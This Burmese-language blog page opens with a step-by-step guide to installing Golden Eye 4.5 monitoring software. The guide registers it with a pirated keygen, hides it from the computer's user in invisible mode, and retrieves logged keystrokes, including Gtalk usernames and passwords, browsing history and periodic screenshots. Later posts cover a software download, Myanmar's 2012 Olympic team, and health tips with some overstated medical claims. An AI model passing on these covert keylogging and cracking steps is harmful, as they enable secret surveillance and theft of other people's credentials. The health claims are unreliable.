
Golden Eye 4.5 ကို အခုhttp://download.cnet.com/GoldenEye/3000-2162_4-10379821 .html ေနရာကေန Download ကို တခ်က္ႏွိပ္လိုက္ပါ။ Save File လုပ္ၿပီး Ok ခလုတ္ကို ႏွိပ္လုိက္ပါ။ ၿပီးရင္ေတာ့ Golden Eye Win Zip ဖိုင္ Download Folder ထဲ ကို   ေရာက္လာ ပါလိမ့္မယ္။ Golder Eye.Zip ဖိုင္ကို ျဖည္လိုက္ပါ။ Right click လုပ္ၿပီး Extract Here ကိုႏွိပ္ၿပီး ျဖည္ရပါမယ္။ ျဖည္လို႔ရလာတဲ့ Folder ထဲကမွ Golden Eye.setup ဖိုင္ကို ေတြ႔ပါမယ္။ ၿပီးရင္ Setup File ကို ႏွစ္ခ်က္ ကလစ္ႏွိပ္ၿပီး Install လုပ္ပါ။ Next ႏွိပ္ ၿပီးရင္ Install ကိုႏွိပ္ Finish ကို ဆက္တိုက္ ႏွိပ္ပါ။

ၿပီးရင္ေတာ့ Register လုပ္ရပါမယ္။ မလုပ္ပါက ၁၅ရက္ပဲ သုံးလို႔ ရပါတယ္။ Register လုပ္နည္း က လြယ္ကူ ပါတယ္။ Install လုပ္ၿပီးတာနဲ႔ auto ေပၚလာခ်ိန္တြင္ Register ဆိုတဲ့ ေပၚမွာ ႏွိပ္္ပါ။

ၿပီးရင္ Download တုန္းကပါလာတဲ့ Folder ကို ျပန္ဖြင့္ပါ။ အဲဒီထဲက Golden Eye 4.5 Crack File ဆိုတာကို ဖြင့္ၿပီး အဲဒီထဲက keygen.exe ကို ဖြင့္ပါ။ ၿပီးရင္ Register ဆိုတဲ့ ေနရာမွာ keygen ထဲက name ရယ္ codeရယ္ကို copy လုပ္ၿပီး Register ထဲမွာ ထည့္ပါၿပီးရင္ေတာ့ ok နွိပ္ပါ။ Register လုပ္တာ ေအာင္ျမင္ကပါ Box အေပၚ ၁၅ရက္သာ အသုံးျပဳရန္ စာသား ေပ်ာက္သြား ပါလိမ့္မယ္။

Program ကိုေဖ်ာက္ရန္အတြက္ မ်က္လံုးပံုေအာက္ရွိ Invisible mode ကို ကလစ္နွိပ္ပါ။ ဒါမွသာလွ်င္ သုံးမယ့္သူ User က Program မျမင္ရမွာ ျဖစ္ပါတယ္။


Program ကို စတင္အလုပ္လုပ္ရန္အတြက္ Start Mornitoring ကို ကလစ္နွိပ္ပါ။
လက္ရွိျမင္ေနရေသာ Box ကို ေဖ်ာက္ရန္အတြက္ Hide ကို ကလစ္နွိပ္ပါ၊ Ok နွိပ္ပါ။

Gtalk ဖြင့္ပါ။ username ႏွင့္ password ရုိက္ပါ။ 5 မိနစ္ေလာက္ Chatting ၀င္လိုက္ပါ။ ၾကာေလ ေကာင္းေလပဲ။ ေနာက္ၿပီး IE ကိုဖြင့္ၿပီး Website ၾကည့္ေပးပါ။ ၾကာေလေကာင္းေလပဲ။ စုစုေပါင္း ၁၅ မိနစ္ေလာက္ သုံးေပးပါ။ သုံးၿပီသြားရင္ေတာ့ Golden Eye ကို ေဖာ္လို႔ ရပါၿပီ။

Golden Eye ကို ျပန္ေဖာ္မယ္ဆိိုရင္ Shortcut က Ctrl +Alt+Shift+P ကို တဲြႏွိပ္ေပး ပါ။ ေအာက္မွာျပထားတဲ့ ပုံအတိုင္း ေပၚလာပါလိမ့္မယ္။ေပၚလာတဲ့အခါမွာပုံမွာၿပထားတဲ့အတိုင္း ထိပ္ က Report Tab ကိုႏွိပ္ပါ။Report Tab မွအေရးၾကီးေသာအရာမ်ားမွာ-
keyStokes =မိမိ Keyboard မွရုိက္ထည့္ေသာစာမ်ားကိုေဖာ္ၿပသည္။အထူးသၿဖင့္မိမိ Gtalk ၀င္တုန္းမိမိိ Gtalk ရဲ. Username ႏွင့္ Password ကိုမွတ္ထားေပးသည္။

Website =မိမိၾကည့္ခဲ့ေသာ Website လိပ္စာမ်ားကိုသိမ္းဆည္းေပးသည္။

screenshots=မိမိသုံးခဲ့ေသာ Desktop မ်က္ႏွာၿပင္ကို ၂မိနစ္တခါဓါတ္ပုံအၿဖစ္သိမ္းေပးသည္။

Monitoring Tab မွာ ကိုယ္ႀကိဳက္တဲ့ Setting ေျပာင္းလို႔ ရပါတယ္။
Options Tab ကေတာ့ ဒီ program ျပန္ေဖာ္ႏုိိင္ရန္အတြက္ Shortcut ေျပာင္းေပးလို႔ ရပါေသးတယ္။
Password လဲ လုံၿခဳံေအာင္ ေပးလို႔ရပါတယ္။
About ကေတာ့ ဒီ Program ကို ျဖဳတ္လို႔ရေအာင္ Uninstall ရွိပါလိမ့္မယ္။
>>>ဆက္ဖတ္ရန္>>> >>

ဓာတ္ပံုနဲ႔ သီခ်င္းေတြဖန္တီးမယ္


Photo: .ဓာတ္ပံုနဲ႔ သီခ်င္းေတြလြယ္လြယ္ကူကူ တြဲၿပီးဖန္တီးလို႔ရတဲ့ ေဆာ့ဝဲအ သံုးျပဳပံုေလးလည္း အခၽိန္႐ရင္တင္ေပးပါအံုးေနာ္...ဆုိလို႕ က်ေနာ္ အခု သံုးေနတဲ့ ဟာေလးတင္ေပးလိုက္ပါတယ္... 


minus၌  Download ယူပါ
http://minus.com/lAfc7ZUkVYe9h


mediafire၌  Download ယူပါ
http://www.mediafire.com/?qav2f5f0001v2d7

အဆင္ေျပၾကပါေစဗ်ာ...

>>>ဆက္ဖတ္ရန္>>> >>

(LAN) Local Area Network

>>>ဆက္ဖတ္ရန္>>> >>

အိုလံပစ္ပြဲေတာ္ႏွင့္ ျမန္မာအားကစားအဖြဲ႕

အလံတင္အခမ္းအနားတြင္ ျမန္မာႏိုင္ငံအဖြဲ႔သားမ်ားခ်ီတက္လာၾကစဥ္။ လန္ဒန္အိုလံပစ္ပြဲကို ဇူလိုင္(၂၇)မွ ၾသဂုတ္(၁၂)ရက္အထိ က်င္းပယွဥ္ျပိဳင္ၾကမည္ျဖစ္သည္။

 
ျဗိတိန္ႏိုင္ငံ လန္ဒန္ျမိဳ႔ရွိအိုလံပစ္ရြာတြင္အလံတင္အခမ္းအနားကိုယမန္ေန႔ကက်င္းပခဲ့ရာ ျမန္မာႏိုင္ငံေတာ္ အလံကိုလႊင့္တင္ေနစဥ္


လန္ဒန္အိုလံပစ္ရြာတြင္ ျမန္မာႏိုင္ငံေတာ္အလံလႊင့္တင္ျပီးေနာက္ေတြ႔ရစဥ္။
အိုလံပစ္အလံႏွစ္ခုၾကားမွ အလံမ်ားမွာ အစဥ္လိုက္အားျဖင့္ ဘရူႏိုင္း၊ ျမန္မာ၊ နယ္သာလန္ ႏွင့္ ပါကစၥတန္ တို႔ျဖစ္ၾကသည္။
အုိလံပစ္ ၀င္ျပိဳင္ဖုိ႔ လန္ဒန္ေရာက္ေနတ့ဲ ျမန္မာ႔ အားကစားသမားမ်ား
Thursday, July 26, 2012 သား ႀကီး


အဂၤလန္ႏိုင္ငံမွာ လက္ခံက်င္းပမယ့္ အိုလံပစ္ 2012 မွာပါဝင္ ယွဥ္ျပိဳင္မယ္႔ ျမန္မာ ႏိုင္ငံ ကိုယ္စားျပဳ အားကစားသမား ၆ ဦးဟာ အခုဆိုရင္ အဂၤလန္ ေရာက္ေနၾကျပီလို႔ သိရပါတယ္…

ဂ်ဴဒို အားကစားနည္းမွာ ဝင္ေရာက္ ယွဥ္ျပိဳင္မယ္႔သူကေတာ့…
မေအးေအးေအာင္
အမ်ိဳးသမီး - ၇၈ ကီလိုတန္းမွာ ဝင္ျပိဳင္မွာပါ


မာရသြန္ၿပိဳင္ပြဲမွာေတာ့...

မနီလာစန္း က အမ်ိဳးသမီး မာရသြန္ၿပိဳင္ပြဲမွာ ယွဥ္ၿပိဳင္ပါလိမ္႔မယ္..



Sculls လိုေခၚတဲ႔ ခတ္ေလွၿပိဳင္ပြဲမွာေတာ့
မေရႊဇင္လတ္ က အမ်ိဳးသမီး တဦးခ်င္း ၿပိဳင္ပြဲမွာ ပါဝင္ေလွာ္ခတ္ ယွဥ္ၿပိဳင္မွာပါ


အမ်ိဳးသားမီတာ ၄၀၀ အေျပး ၿပိဳင္ပြဲမွာေတာ့ ကိုသက္ေဇာ္ဝင္း က ယွဥ္ၿပိဳင္မွာပါ… ကိုသက္ေဇာ္ဝင္း ဟာ အသက္ ၂၂ ႏွစ္ပဲ ရွိေသးၿပီး အိုလံပစ္ၿပိဳင္ပြဲကိုသြားေရာက္ယွဥ္ၿပိဳင္တဲ႔ ျမန္မာ အသင္းမွာ အငယ္ဆံုးပါ..
ဦးေမာင္ခ်ဴး ကေတာ႔ အမ်ိဳးသား Men's 10m Air Pistol မွာ ဝင္ပစ္မွာပါ…
ပစၥတုိ ဆုိေတာ့ ေသနတ္ပစ္မွာပါ။


ကိုေနမ်ိဳးေအာင္ ကေတာ႔ အမ်ိဳးသား တစ္ဦးခ်င္း ျမွားပစ္ ျပိဳင္ပြဲမွာ ဝင္ႏႊဲပါလိမ္႔မယ္

အုိလံပစ္ နဲ႔ အုိလံပစ္ဆက္စပ္ျပိဳင္ပဲြေတြမွာ ျမန္မာျပည္က ၀င္ေရာက္ ယွဥ္ျပိဳင္တာ ဒါပါနဲ႔ ဆုိရင္ ၁၆ ႀကိမ္ ရိွျပီလုိ႔ သိရပါတယ္။

လန္ဒန္မွာပဲ လုပ္ခ့ဲတ့ဲ ၁၉၄၈ ခုႏွစ္ အုိလံပစ္ကုိ ျမန္မာက ၄ ဦးပါ အားကစားအဖဲြ႔ ေစလႊတ္ခ့ဲပါတယ္ တ့ဲ။ အဲဒါ ျမန္မာျပည္က အုိလံပစ္ကုိ ပထမဆုံးအႀကိမ္ ပါ၀င္ပတ္သက္မႈပါ။

နုိင္ငံတကာပါ၀င္တ့ဲ ဒီ အားကစားပဲြေတာ္ႀကီးကုိ ၄ ႏွစ္ တႀကိမ္ က်င္းပေလ့ ရိွပါတယ္။

ဒီႏွစ္ လန္ဒန္ အုိလံပစ္ပဲြေတာ္ႀကီးကုိ ခမ္းခမ္းနားနား ဖြင့္လွစ္ဖုိ႔ ၂၄ နာရီေလာက္ပဲ လုိပါေတာ့တယ္။
 

>>>ဆက္ဖတ္ရန္>>> >>

အိပ္မက္ႏွင့္ က်န္းမာေရး

by Health Articles on Thursday, July 5, 2012 at 1:26pm ·



အိပ္စက္ျခင္း၊ အိပ္မက္ျခင္း ဆိုတာေတြဟာ အေနာက္တုိင္း ေဆးပညာရွင္ေတြအဖို႔ ပေဟဠိႀကီး တစ္ပုဒ္သဖြယ္ ျဖစ္ေနခဲ့ၿပီး  စူးစမ္းတဲ့ ပညာရွင္ေတြလည္း အမ်ားႀကီး ေပၚေပါက္လာခဲ့တယ္။ အိပ္မက္ကုထံုး ပညာရွင္ေတြလည္း သီးျခား ေပၚထြန္းလာခဲ့ပါတယ္။ အိပ္မက္ကုထံုး ပညာရွင္ေတြရဲ႕ အဆိုအရ အိပ္မက္ကုထံုးဟာ လြယ္ကူထိေရာက္ၿပီး သင္ၾကားရတာလည္း မခက္ဘူးလို႔ သိရပါတယ္။ နည္းနည္းပါးပါး ဂ႐ုထားၿပီး ေလ့လာလိုက္႐ံုနဲ႔ သင့္ရဲ႕ အိပ္မက္ေတြကို သင့္က်န္းမာေရးအတြက္ အဓိပၸါယ္ ေဖာ္ႏုိင္ပါသတဲ့။ ကဲမဆန္းဘူးလား။ က်န္းမာေရးအတြက္သာမက သင့္ရဲ႕ေသာကေတြ၊ ေၾကာက္စရာ လန္႔စရာေတြကိုပါ ေက်ာ္လႊားႏုိင္ၿပီး ေပ်ာ္ရႊင္က်န္းမာ လန္းဆန္းေနတဲ့ ဘဝကိုလည္း ရႏုိင္တယ္လို႔ ဆိုပါတယ္။ အမွန္ေတာ့ အိပ္မက္မက္ျခင္းဟာ သင့္ရဲ႕ အသိစိတ္ထဲက အမွတ္မထင္ ေက်ာ္လႊားသြားတဲ့ သတိေပးခ်က္ ကေလးေတြကို အသြင္တစ္မ်ိဳးနဲ႔ ထပ္ၿပီး သတိေပးတာလို႔ သုေတသီေတြက ေျပာၾကပါတယ္။ ႐ုပ္နာမ္၊ ခႏၶာႏွစ္ရပ္စလံုးမွာ ထိခိုက္မႈေတြ၊ ခံစားမႈေတြ ရွိခဲ့ရင္ အိပ္မက္နဲ႔ျပန္ၿပီး သတိေပးတတ္တဲ့ သေဘာရွိေနတယ္လို႔ ဆိုပါတယ္။ အဲဒီအိပ္မက္ကို အဓိပၸါယ္ေဖာ္ဖို႔က အိပ္မက္တိတၱဳက်မ္းေတြ ဘာေတြ မလိုပါဘူး။ အေရးႀကီးတာက ကိုယ္ဘာအိပ္မက္ မက္ခဲ့သလဲဆိုတာ အိပ္ရာက ႏုိးလာခ်ိန္မွာ မွတ္မိေနဖို႔ လိုပါတယ္။ ဒါကို အိပ္မက္ ဖမ္းတယ္လို႔ ဆိုပါတယ္။ အိပ္မက္ဖမ္းတတ္ဖို႔ အေရးႀကီးပါတယ္။

မ်ားေသာအားျဖင့္ အိပ္မက္မက္ၿပီးစ တစ္ေရးႏုိးခ်ိန္မွာ မွတ္မိသလိုလုိနဲ႔ ျပန္အိပ္ေပ်ာ္သြားၿပီး မနက္လင္းတဲ့အခါ ေမ့သြားတတ္ၾကပါတယ္။ ဒီအတြက္ အေနာက္ႏုိင္ငံမွာေတာ့ လူေတြက အိပ္ယာေဘးမွာ မွတ္စုစာအုပ္နဲ႔ ခဲတံနဲ႔ ျဖစ္ေစ၊ ကက္ဆက္ အသံသြင္းစက္ေလး ျဖစ္ေစ ကုိယ့္ေဘးထားၿပီး အိပ္တတ္ၾကပါတယ္။ အိပ္မက္ မက္ၿပီးၿပီးခ်င္း အကယ္လို႔ ႏုိးလာရင္ ကိုယ္ဘာေတြ အိပ္မက္ မက္ခဲ့လဲဆိုတာ ခ်က္ခ်င္း ေရးမွတ္လို႔ျဖစ္ေစ၊ အသံသြင္းလို႔ျဖစ္ေစ မေမ့ခင္ မွတ္ထားေလ့ ရွိၾကပါတယ္။ အမွန္ေတာ့ နည္းသိရင္ ဒီေလာက္ ကိရိကထ ခံစရာ မလိုပါဘူး။ မအိပ္ခင္ ကိုယ့္ရဲ႕အတြင္းစိတ္ကို အမိန္႔ေပးထားတတ္ဖို႔ပဲ လိုပါတယ္။ “ကဲကိုယ့္လူေရ၊ ငါအိပ္ေတာ့မယ္။ ငါအိပ္ေနတုန္း အိပ္မက္မက္ခဲ့ရင္ အားလံုး ျပန္မွတ္မိ ေစရမယ္ေနာ္။ အားလံုး ျပန္မွတ္မိေနရမယ္။ အားလံုး ျပန္မွတ္မိေနရမယ္” ဆိုၿပီး ေလးေလးနက္နက္ သံုးခါေျပာၿပီးမွ အိပ္ပါ။ ၿပီးရင္ အိပ္မက္မက္ၿပီးၿပီးခ်င္း အိပ္ယာက ႏုိးရမယ္လို႔လည္း အမိန္႔ေပးထားရပါမယ္။ အိပ္မက္မက္ၿပီးလု႔ိ ႏုိးလာတာနဲ႔ အိပ္မက္ အေၾကာင္းအရာေတြ ခ်က္ခ်င္းမွတ္ပါ။ အဓိပၸါယ္ေဖာ္ၿပီး မမွတ္ပါနဲ႔။ အိပ္မက္အတုိင္း သက္သက္ပဲမွတ္ပါ။ ေနာက္မနက္လင္း အိပ္ယာထၿပီးေတာ့မွ ညက အိပ္မက္ကို အဓိပၸါယ္ေဖာ္မွာ ျဖစ္ပါတယ္။ ညကေရးထားတဲ့ အိပ္မက္ အေၾကာင္းအရာေတြကို တစ္ခုခ်င္းၾကည့္ၿပီး အဓိပၸါယ္ ေဖာ္ယူရပါတယ္။ တစ္ခ်ိဳ႕ဆိုရင္ အိပ္မက္ထဲမွာ ေတြ႕ရတဲ့ပံုကို ၾကည့္ၿပီး ပံုၾကမ္းဆြဲၿပီး ၾကည့္ဖို႔လိုတယ္လို႔ ဆိုပါတယ္။ အိပ္မက္ အဓိပၸါယ္ေဖာ္ရာမွာ အိပ္မက္တိတၱဳက်မ္းေတြ အကူအညီ မလိုပါဘူး။ အဓိပၸါယ္ ႐ိုးစင္းလွတဲ့အတြက္ မိမိဘာသာ အဓိပၸါယ္ ေဖာ္ႏုိင္ပါတယ္။ ဒါမွမဟုတ္ ရင္းႏွီးတဲ့ မိတ္ေဆြတစ္ဦးဦးကို ျပၿပီး အဓိပၸါယ္ ေဖာ္ၾကည့္ႏုိင္ပါတယ္။ လူတစ္ေယာက္ဟာ ေသြးတိုးၿပီး ဇက္ေၾကာေတြတက္၊ မ်က္႐ိုးေတြကိုက္နဲ႔ ေဆးေတြမျပတ္ ေသာက္ေနရပါတယ္။ သူဟာ အိပ္မက္ကုထံုးအေၾကာင္း ေလ့လာၿပီးတဲ့ေနာက္ ကိုယ့္ကိုယ္ကို အမိန္႔ေပးၿပီး အိပ္လိုက္ပါတယ္။ အိပ္မက္ေတြကို မွတ္သားၿပီး အဓိပၸါယ္ေဖာ္ၾကည့္ပါတယ္။ အဲဒီအခါ သူ႔လုပ္ငန္းေတြ အမ်ားႀကီးအနက္က မထင္မွတ္တဲ့ လုပ္ငန္းေလးတစ္ခုေၾကာင့္ ေသာကေရာက္ေနေၾကာင္း၊ အဲဒီ ေသာကဒဏ္ေၾကာင့္ ေသြးတုိးေနရေၾကာင္း သြားေတြ႕ရပါတယ္။

သူဟာ အဲဒီလုပ္ငန္း ငယ္ေလးကို တျခားတစ္ဦးကို လႊဲေျပာင္း ေပးလုိက္ပါတယ္။ သူဟာ ေဆးေတြ ျဖတ္လိုက္ရၿပီး သာမန္ အငန္ေလွ်ာ့စား႐ံုနဲ႔ ေသြးတုိး ထိန္းႏုိင္ပါတယ္။ လူလည္း လန္းဆန္းေပါ့ပါးၿပီး လုပ္ငန္းကိုင္ငန္းမ်ားလည္း အဆင္ေခ်ာသြားပါတယ္။ အိပ္မက္ေလ့ရွိတဲ့ အိပ္မက္ေတြကေတာ့ ပ်ံသန္းျခင္း၊ ေခ်ာက္ထဲက်ျခင္း၊ ထြက္ေျပးရျခင္း၊ တစ္စံုတစ္ေယာက္ ေနာက္ကို ေျပးလိုက္ရျခင္း၊ ရန္ျဖစ္ျခင္း၊ စာေမးပြဲ ေျဖရျခင္းဆိုတာေတြ မ်ားပါတယ္။ အဓိပၸါယ္ကို မူေသယူလို႔ မရပါဘူး။ တစ္ဦးနဲ႔တစ္ဦး အဓိပၸါယ္ ေကာက္ယူရပံုခ်င္း မတူပါဘူး။ မိမိဘာသာ စိတ္ေအးလက္ေအး အဓိပၸါယ္ ေဖာ္ၾကည့္ပါ။ အေျဖ ေတြ႕ပါလိမ့္မယ္။ အဲဒီအေျဖအတုိင္း အေရးယူ ေဆာင္ရြက္လိုက္႐ံုနဲ႔ မိမိရဲ႕ က်န္းမာေရး လူမႈေရးျပႆနာကို ေျဖရွင္းၿပီးသား ျဖစ္သြားေစႏုိင္ပါတယ္။ တစ္ခါတစ္ရံ ျဖစ္တတ္တာက အိပ္မက္ဆိုး တစ္ခုထဲကို အထပ္ထပ္အခါခါ မက္ေနျခင္းမ်ိဳး ျဖစ္ပါတယ္။ ဒါဆိုရင္ေတာ့ သူ႔အဓိပၸါယ္ ေဖာ္ၿပီးတာနဲ႔ အိပ္မက္ အေၾကာင္းအရာကို အဓိပၸါယ္နဲ႔တကြ စာအုပ္မွာ ခ်ေရးပါ။ အိပ္ခါနီး တစ္ႀကိမ္ဖတ္ပါ။ ဒီအိပ္မက္ ထပ္မက္ဖို႔ မလိုဘူး။ ဆက္ရန္ ဇာတ္လမ္းရွိရင္ ဆက္မက္ပါ။ မရွိရင္ေတာ့ ထပ္မက္စရာ မလိုဘူးလို႔ အိပ္ခါနီး ကုိယ့္ကိုယ္ကိုေျပာၿပီး အိပ္ပါ။ အိပ္မက္ဆုိးေတြ ရပ္သြားပါလိမ့္မည္။ တစ္ခုေတာ့ ရွိပါရဲ႕။ အိပ္မက္ တစ္ခုတည္းနဲ႔ေတာ့ ျပႆနာေတြ အားလံုး ေျပလည္မွာေတာ့ မဟုတ္ပါဘူးလို႔ေတာ့ အိပ္မက္ကုထံုး ပညာရွင္ ေဒါက္တာ ဖလားဝါးစ္က ထုတ္ေဖာ္ ဝန္ခံထားတာေလးလည္း ရွိေနပါေသးေၾကာင္း တင္ျပလိုက္ရပါတယ္။

ရဲမင္းႏုိင္
Ref: Shade The Mandalay Hill
Source: http://www.yatanarpon.com.mm/cp/shadethemandalayhill/article-60794
>>>ဆက္ဖတ္ရန္>>> >>

ကိုက္လန္၏ က်န္းမာေရး အက်ဳိးေက်းဇူး ၁၀ ရပ္

by Health Articles on Sunday, July 22, 2012 at 9:27pm ·

ကိုက္လန္ကို အစိမ္းေရာင္ ဟင္းရြက္တို႔ရဲ႕ ဘုရင္မလို႔ တင္စားတတ္ၾကသလို အာဟာရ စုေပါင္းရာ အိမ္တစ္လံုးလို႔လည္း ေခၚဆိုတတ္ၾကပါတယ္။  သင္စားတဲ့ အစားအေသာက္ထဲကို ကိုက္လန္ ထည့္စားေပးမယ္ဆိုရင္ ေအာက္ပါ အက်ဳိးေက်းဇူး ၁၀ မ်ဳိးကို ရရွိပါလိမ့္မယ္။

(1) အစာေျခလမ္းေၾကာင္းစနစ္ကုိ က်န္းမာေစပါတယ္

ကိုက္လန္မွာ ကယ္လိုရီ ပါဝင္မႈ နည္းပါးၿပီး အဆီဓာတ္လည္း လံုးဝမပါပါဘူး။ အမွ်င္ဓာတ္ မ်ားစြာ ပါဝင္ပါတယ္။ ကိုက္လန္တစ္ခြက္မွာ ၃၆ ကယ္လိုရီနဲ႔ အမွ်င္ဓာတ္ ငါးဂရမ္တို႔ ပါဝင္ပါတယ္။

(2) အေထြေထြ က်န္းမာေရးကို ေကာင္းမြန္ေစပါတယ္

ကိုက္လန္မွာ သံဓာတ္မ်ားစြာ ပါဝင္ပါတယ္။ ကယ္လိုရီတူတဲ့ ကိုက္လန္နဲ႔ အမဲသားတို႔ကို ႏႈိင္းယွဥ္ၾကည့္ရာ ကိုက္လန္မွာ သံဓာတ္ ပိုမိုပါဝင္တာကို ေတြ႕ရပါတယ္။ သံဓာတ္ဟာ ေဟမိုဂလိုဘင္နဲ႔ အင္ဇိုင္း ျဖစ္ေပၚေစတာ၊ ခႏၶာကိုယ္ အစိတ္အပိုင္း အသီးသီးကို ေအာက္ဆီဂ်င္ ပို႔ေပးတာ၊ ဆဲလ္ႀကီးထြားတာ၊ အသည္းရဲ႕ လုပ္ငန္းေဆာင္တာကို ေကာင္းမြန္ေစတာ စတဲ့ အာနိသင္ေတြ ရရွိေစၿပီး အေထြေထြ က်န္းမာေရးကို ေကာင္းမြန္ေစပါတယ္။

(3) ဗီတာမင္ေက မ်ားစြာ ပါဝင္ပါတယ္

ကိုက္လန္မွာ မ်ားစြာ ပါဝင္တဲ့ ဗီတာမင္ေကဟာ ကင္ဆာေရာဂါ အမ်ဳိးမ်ဳိးကို ကာကြယ္ေပးႏိုင္ပါတယ္။ အ႐ိုးက်န္းမာေရးကို ေကာင္းေစတဲ့အျပင္ ေသြးခဲတာမ်ဳိး မျဖစ္ေအာင္လည္း ကာကြယ္ေပးႏိုင္ပါတယ္။ အယ္လ္ဇိုင္းမားေရာဂါ ခံစားေနရသူေတြကို သက္သာေအာင္ ဗီတာမင္ေကနဲ႔ ကုသႏိုင္ပါတယ္။

(4) ကင္ဆာအမ်ဳိးမ်ဳိးကို ကာကြယ္ေပးပါတယ္

ကိုက္လန္မွာ ကာ႐ိုတီးႏြိဳက္နဲ႔ ဖေလဗိုးႏြိဳက္တို႔လို အင္တီေအာက္ဆီးဒင့္မ်ားစြာ ပါဝင္ပါတယ္။ ဒီအင္တီေအာက္ဆီးဒင့္ေတြက ကင္ဆာေရာဂါ အမ်ဳိးမ်ဳိးကို မျဖစ္ေအာင္ ကာကြယ္ေပးႏိုင္ပါတယ္။

(5) ေရာင္ရမ္းမႈကို ေလ်ာ့က်ေစပါတယ္

ကိုက္လန္ဟာ ေရာင္ရမ္းမႈ ေလ်ာ့က်ေစတဲ့ အစာတစ္မ်ဳိးပါ။ ကိုက္လန္တစ္ခြက္စာ ပမာဏမွာ တစ္ေန႔တာ မွီဝဲသင့္တဲ့ အိုမီဂါ ၃ ဖက္တီး အက္စစ္ပမာဏ ၁၀ ရာခိုင္ႏႈန္းခန္႔ ပါဝင္တာေၾကာင့္ ႐ိုးဆစ္ေရာင္ရမ္းနာ၊ ပန္းနာရင္က်ပ္ေရာဂါနဲ႔  Autoimmune Disorder တို႔ကို တြန္းလွန္ေပးႏိုင္စြမ္း ရွိပါတယ္။

(6) ႏွလံုးေသြးေၾကာကို က်န္းမာေစပါတယ္

ကိုက္လန္မွာ ႏွလံုးေသြးေၾကာ စနစ္ကို က်န္းမာေစတဲ့ အစြမ္းရွိပါတယ္။ ကိုက္လန္ကို မ်ားမ်ား စားေပးရင္ ေသြးတြင္းမေကာင္းတဲ့ ကိုလက္စထေရာကို ေလ်ာ့က်ေစႏိုင္ပါတယ္။

(7) အျမင္အာ႐ံုကို ေကာင္းမြန္ေစပါတယ္

ကိုက္လန္မွာ ဗီတာမင္ေအ မ်ားစြာပါဝင္တာေၾကာင့္ အျမင္အာ႐ံုကို ေကာင္းမြန္ေစတဲ့အျပင္ အဆုတ္နဲ႔ ခံတြင္းကင္ဆာတို႔ မျဖစ္ေအာင္လည္း ကာကြယ္ေပးပါတယ္။

(8) ကိုယ္ခံစြမ္းအား စနစ္ကို ေကာင္းမြန္ေစပါတယ္

ကိုက္လန္မွာ ဗီတာမင္စီ ပမာဏမ်ားစြာ ပါဝင္တာေၾကာင့္ ကိုယ္ခံစြမ္းအားစနစ္၊ ဇီဝ႐ုပ္ျဖစ္ပ်က္မႈနဲ႔ ေရဓာတ္ျပည့္ဝမႈတို႔ကို အားေပးေထာက္ပံ့ႏိုင္စြမ္း ရွိပါတယ္။

(9) အ႐ိုး၊ အဆစ္ က်န္းမာေစပါတယ္

ကိုက္လန္မွာ ကယ္လ္စီယမ္ ပမာဏမ်ားစြာ ပါဝင္ပါတယ္။ ကယ္လိုရီ ပမာဏတူတဲ့ ႏြားႏို႔နဲ႔ ယွဥ္ရင္ ကိုက္လန္မွာ ကယ္လ္စီယမ္ ပိုမို ပါဝင္တာေၾကာင့္ အ႐ိုးထုထည္ ဆံုး႐ႈံးမႈ မျဖစ္ေအာင္နဲ႔ အ႐ိုးပါးေရာဂါ မျဖစ္ေအာင္ ကာကြယ္ေပးႏိုင္စြမ္း ရွိပါတယ္။ ဒါ့အျပင္ ကိုက္လန္မွာပါတဲ့ ဗီတာမင္စီဟာ အ႐ိုးႏုနဲ႔ အဆစ္ေတြ သန္စြမ္းေပ်ာ့ေပ်ာင္းေအာင္ ကူညီႏိုင္ပါတယ္။

(10) ကိုယ္တြင္းအဆိပ္ေတြကို ကင္းစင္ေစပါတယ္

ကိုက္လန္ကို အဆိပ္ဖယ္ရွားေပးႏိုင္တဲ့ အစာလို႔ တင္စားေခၚေဝၚၾကပါတယ္။ ကိုက္လန္မွာ အမွ်င္ဓာတ္နဲ႔ ဆာလဖာတို႔ အျပည့္အဝ ပါဝင္ေနတာေၾကာင့္ ကိုယ္ခႏၶာတြင္းရွိ အဆိပ္ေတြကို ကင္းစင္ေစၿပီး အသည္းကို က်န္းမာေစပါတယ္။

ၾကယ္စင္
Ref: Good Health 
Source: http://news.yatanarpon.com.mm/news/article-62524
>>>ဆက္ဖတ္ရန္>>> >>

ေဆးဖက္ဝင္ ၾကက္ဟင္းခါးသီး


Photo: ေဆးဖက္ဝင္ ၾကက္ဟင္းခါးသီး

ေဆးဖက္ဝင္ ၾကက္ဟင္းခါးသီးၾကက္ဟင္းခါးသီး ၏ေဆးစြမ္း ၾကက္သြန္ျဖဴ ထက္ပံုမွာကား- (၁) ဆီး ခ်ိဳေသြးခ်ိဳေရာဂါကို တားဆီး ကာကြယ္ေပးျခင္း၊ (၂) ကင္ဆာေရာဂါမ်ားကို တားဆီး ကာကြယ္ေပးျခင္း၊ (၃) အစာအိမ္ အားေကာင္းေစၿပီး အစာေၾက လြယ္ေစျခင္း၊ (၄) ဒူးနာ၊ ခါးနာ၊ ေျခေထာက္နာ၊ ေလေရာဂါ ကာကြယ္ ကုသရာတြင္ ေဆးစြမ္းထက္ျမက္ျခင္း၊ (၅) အသား အေရေခ်ာေမာလွပ တင့္ တယ္ေျပျပစ္ေစျခင္း၊စိုျပည္ေစျခင္း စသည္ တို႔ျဖစ္ပါသည္။

အထူးေရွာင္က်ဥ္ရန္မွာ ၾကက္ဟင္းခါးသီးကို လြန္လြန္ကြ်ံကြ်ံ စားသံုးျခင္း မျပဳၾကရပါ။ ကယ္လ္စီယမ္စုပ္ယူမႈအားကို ထိခိုက္တတ္၏။ တစ္ခါစားလွ်င္ ၈၀ ဂရမ္မွ ၁၀ဝ ဂရမ္အထိသာ စားသံုးမွီဝဲသင့္ပါသည္။ ပူအိုက္ေသာေႏြ ရာသီတြင္ စားသံုးေပးပါ။ေရငတ္ေျပေစသည္။ အပူရွပ္ျခင္း ကိုကာ ကြယ္ေပးသည္။

ေကတီေအာင္သိန္း (ရန္ကုန္တကၠသိုလ္)
By Health Digest

>>>ဆက္ဖတ္ရန္>>> >>

ဝိတ္ေလွ်ာ့မယ္ဆိုရင္

ဝိတ္ေလွ်ာ့မယ္ဆိုရင္ဝိတ္ေလွ်ာ့ မယ္ဆိုရင္ လုိက္နာသင့္ေသာ အခ်က္မ်ား

-ေရမ်ားမ်ားေသာက္ပါ။
-နံနက္စာမစားခင္ သိပ္မျပင္းထန္ေသာ ကိုယ္လက္ လႈပ္ရွားမႈျပဳလုပ္ပါ။
-နံနက္စာစားၿပီးေနာက္ အတန္ အသင့္ျပင္းထန္တဲ့ ေလ့က်င့္ခန္းျပဳလုပ္ပါ။
